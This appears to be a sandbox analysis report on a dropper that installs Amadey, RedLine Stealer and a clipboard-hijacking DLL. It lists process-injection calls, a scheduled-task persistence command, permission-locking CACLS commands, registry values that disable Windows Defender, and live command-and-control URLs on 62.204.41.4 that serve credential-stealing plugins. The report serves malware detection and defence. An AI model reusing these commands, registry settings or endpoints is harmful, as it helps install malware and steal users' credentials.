Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

API coverage: 6.7 %

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D5467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_003D5467

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_003D2390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F32390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00F32390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0121FC58 FindFirstFileExW,	14_2_0121FC58

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

2_2_004019F0

Source: C:\Users\user\Desktop\file.exe

0_2_003D202A

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0121A9A1 mov eax, dword ptr fs:[00000030h]		14_2_0121A9A1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0121CFB2 mov eax, dword ptr fs:[00000030h]		14_2_0121CFB2

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Code function: 2_2_0040ADB0 GetProcessHeap,HeapFree,

2_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D6F40 SetUnhandledExceptionFilter,	0_2_003D6F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003D6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F36F40 SetUnhandledExceptionFilter,	1_2_00F36F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F36CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00F36CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_004123F1 SetUnhandledExceptionFilter,	2_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_01217A74 SetUnhandledExceptionFilter,	14_2_01217A74
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_01217208 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_01217208
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0121790F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0121790F
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0121BB20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0121BB20

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_012038C0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

14_2_012038C0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D18A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_003D18A3

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Code function: GetLocaleInfoA,

2_2_00417A20

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_01217AFC cpuid

14_2_01217AFC

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D7155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_003D7155

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_01223C76 _free,_free,_free,GetTimeZoneInformation,_free,

14_2_01223C76

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Code function: 7_2_00007FFDC87B077D GetUserNameA,

7_2_00007FFDC87B077D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D2BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_003D2BFB

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 2.3.aPsf.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.660e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.3.file.exe.475dc20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.475dc20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.xriv.exe.1200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.xriv.exe.1200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mnolyk.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.712917292.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.712317333.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.776200491.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.321018621.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.455495920.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.319942123.0000000001201000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.324372963.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.254673704.0000000004709000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.454883478.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.331572351.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.583498615.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.583819503.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, type: DROPPED

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 6136, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 26.2.rundll32.exe.6ec20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 2.3.aPsf.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aPsf.exe.660e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	2 Bypass User Access Control	21 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Service Execution	1 Services File Permissions Weakness	111 Process Injection	2 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	2 Bypass User Access Control	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	1 Services File Permissions Weakness	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	111 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Services File Permissions Weakness	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Rundll32	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	66%	ReversingLabs	Win32.Trojan.Amadey
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	81%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	55%	ReversingLabs	Win32.Trojan.Tedy
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	45%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	82%	ReversingLabs	ByteCode-MSIL.Trojan.Disabler
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	81%	ReversingLabs	Win32.Trojan.Amadey

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://62.204.41.4/Gol478Ns/index.php79e5342a2	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php=	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php$	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpx	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpC#	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpI#	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpEE	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpYR	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dllZkoL	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpeC	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php3#	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpsoft	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php5C	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php(	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpQ	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phprundll32.exe	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpEC:L	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpft	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpUC	0%	Avira URL Cloud	safe
62.204.41.4/Gol478Ns/index.php	100%	Avira URL Cloud	malware
http://62.204.41.4/Gol478Ns/index.php	100%	Avira URL Cloud	malware
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	true	Avira URL Cloud: malware	unknown
62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: malware	low
http://62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Gol478Ns/index.php=	mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php79e5342a2	mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpx	mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php$	mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpYR	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpI#	mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpC#	mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpEE	mnolyk.exe, 0000000F.00000002.776777410.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpeC	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/cred64.dllZkoL	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php(	mnolyk.exe, 0000000F.00000002.776777410.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpsoft	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpEC:L	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php3#	mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phprundll32.exe	mnolyk.exe, 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpQ	mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php5C	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpUC	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
